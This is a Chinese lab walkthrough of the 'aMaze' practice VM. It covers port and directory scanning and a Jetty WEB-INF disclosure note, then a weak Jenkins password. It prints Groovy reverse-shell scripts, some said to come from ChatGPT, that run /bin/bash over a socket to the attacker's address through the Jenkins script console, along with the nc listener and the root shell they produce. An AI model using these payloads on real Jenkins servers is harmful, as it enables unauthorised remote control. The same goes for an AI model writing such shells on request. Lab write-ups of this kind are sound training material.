每日一靶机-aMaze
靶机:192.168.31.32
以练带学,补充细节,直击痛点,补救遗忘。
IcMl0x824
rustscan
┌──(root㉿kali)-[~]
└─# rustscan -a 192.168.31.32 -- -A
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} | `| |
| .-. | {_} |.-._} } | | .-._} } }/ / | | |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy :
: https://github.com/RustScan/RustScan :
--------------------------------------
😵 https://admin.tryhackme.com
[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 192.168.31.32:21
Open 192.168.31.32:22
Open 192.168.31.32:80
Open 192.168.31.32:8000
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")
Wappalyzer
FTP+SSH+web+product=Jenkins ver. 2.60.3
Goby+Xray
扫出来一个中危
Jetty WEB-INF文件读取复现
编号:CVE-2021-34429
可以使用一些编码字符来制作URI,以访问WEB-INF目录的内容和/或绕过一些安全限制。默认合规模式允许带有包含 %u002e 段的 URI 的请求访问WEB-INF目录中的受保护资源。
例如,/%u002e/WEB-INF/web.xml可以检索 web.xml 文件的请求。这可能会泄露有关 Web 应用程序实现的敏感信息。同样,编码的空字符可能会阻止正确的规范化,因此/.%00/WEB-INF/web.xml也会检索 web.xml 文件。此漏洞是CVE-2021-28164和CVE-2021-28169的新的绕过方式。
瞎,就是个信息泄露,对我们来说没啥用的。
xray跑出来一个SSRF:
只要SSRF我就不想看,好了,直接略过。
Dirsearch
┌──(root㉿kali)-[~]
└─# dirsearch -u 192.168.31.32
_|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927
Output File: /root/.dirsearch/reports/192.168.31.32_22-12-14_07-58-28.txt
Error Log: /root/.dirsearch/logs/errors-22-12-14_07-58-28.log
Target: http://192.168.31.32/
[07:58:28] Starting:
[07:58:29] 403 - 278B - /.ht_wsr.txt
[07:58:29] 403 - 278B - /.htaccess.bak1
[07:58:29] 403 - 278B - /.htaccess_extra
[07:58:29] 403 - 278B - /.htaccess.sample
[07:58:29] 403 - 278B - /.htaccessBAK
[07:58:29] 403 - 278B - /.htaccess.save
[07:58:29] 403 - 278B - /.htaccessOLD
[07:58:29] 403 - 278B - /.htaccess.orig
[07:58:29] 403 - 278B - /.htaccessOLD2
[07:58:29] 403 - 278B - /.htaccess_orig
[07:58:29] 403 - 278B - /.htaccess_sc
[07:58:29] 403 - 278B - /.htm
[07:58:29] 403 - 278B - /.htpasswd_test
[07:58:29] 403 - 278B - /.html
[07:58:29] 403 - 278B - /.httr-oauth
[07:58:29] 403 - 278B - /.htpasswds
[07:58:29] 403 - 278B - /.php
[07:58:48] 200 - 2KB - /login.php
[07:58:48] 200 - 55B - /logout.php
[07:58:56] 403 - 278B - /server-status/
[07:58:56] 403 - 278B - /server-status
Task Completed
跑出有一个[07:58:48] 200 - 2KB - /login.php
一个登录框,emmm,能试的都试了,xray也扫了,爆破emmm,我是傻逼吗?
跑到明年去了吧。失败中的失败!
还是拿这个框架Jenkins开🔪!!咳咳
msf中的一些漏洞尝试了也还是不太行。得想办法进后台看看....
版本有限制,库里的这些漏洞基本是废了,另辟蹊跷去跑后台嘻嘻
咳咳,原来是弱口令啊操
看到了有意思的地方
此控制台允许用户使用Groovy script
运行自动化和报告命令
不会这个Groovy
脚本命令我们就浅浅学一手
使用 'println' 命令查看输出
(如果使用 System.out,它将转到服务器的标准输出,这更难看到。)
示例:println(Jenkins.instance.pluginManager.plugins)
我们构造一个:不会,咋办?
ChatGPT
看到这我们当然可以通过利用此root权限来,反弹 shell 对吧!
反弹shell脚本不会写?问他!
还有
// 定义要连接的服务器的地址和端口号
def server = '192.168.31.19'
def port = 4444
// 创建 Socket 对象并连接到服务器
def s = new Socket(server, port)
// 将标准输入、输出和错误输出重定向到 Socket
System.in.withReader('UTF-8') { reader ->
s.withWriter { writer ->
reader.eachLine { line ->
writer.println(line)
}
}
}
import java.io.*;
import java.net.*;
def host = "192.168.1.101"
def port = 4444
def socket = new Socket(host, port)
def out = new PrintWriter(socket.getOutputStream(), true)
def in = new BufferedReader(new InputStreamReader(socket.getInputStream()))
String command
while ((command = in.readLine()) != null) {
out.println("[COMMAND] " + command)
}
out.close()
in.close()
socket.close()
这段代码实现了一个反弹 shell,它会连接到指定的主机和端口,并等待来自服务器的命令。
它会将命令作为字符串读入,并在响应中加上 [COMMAND]
前缀。
好了,看了这么多,基本也明白一点了,用这个脚本是可以将建立持久shell的
String host="192.168.31.19";
int port=4444;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());
while(pe.available()>0)so.write(pe.read());
while(si.available()>0)po.write(si.read());
so.flush();po.flush();
Thread.sleep(50);
try {p.exitValue();break;}catch (Exception e){}};
p.destroy();
s.close();
NC
┌──(root㉿kali)-[~]
└─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.31.19] from (UNKNOWN) [192.168.31.32] 57262
id
uid=0(root) gid=0(root) groups=0(root)
python3 -c 'import pty;pty.spawn("/bin/bash")'
File "<stdin>", line 2
python3 -c 'import pty;pty.spawn("/bin/bash")'
^
SyntaxError: invalid syntax
python -c 'import pty;pty.spawn("/bin/bash")'
root@000941bf1fdc:/# whoami
whoami
root
root@000941bf1fdc:/# cnmlgb!!!!
你他妈骂谁呢!!!!!!!!!
成功拿到shell,并且是root权限
SLEEP
这个靶机不太一样,如果实在猜不出弱口令或者进不了后台基本算是废了
或者也可试试ftp,ssh服务看看有没有办法
进了后台很显然他想让你用groovy语句,如果你功底不是很扎实
写不出来弹shell的脚本,基本也是费。
原文始发于微信公众号(猫因的安全):品味人生系列-[每日一靶机]:在ChatGPT加持下打靶aMaze
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论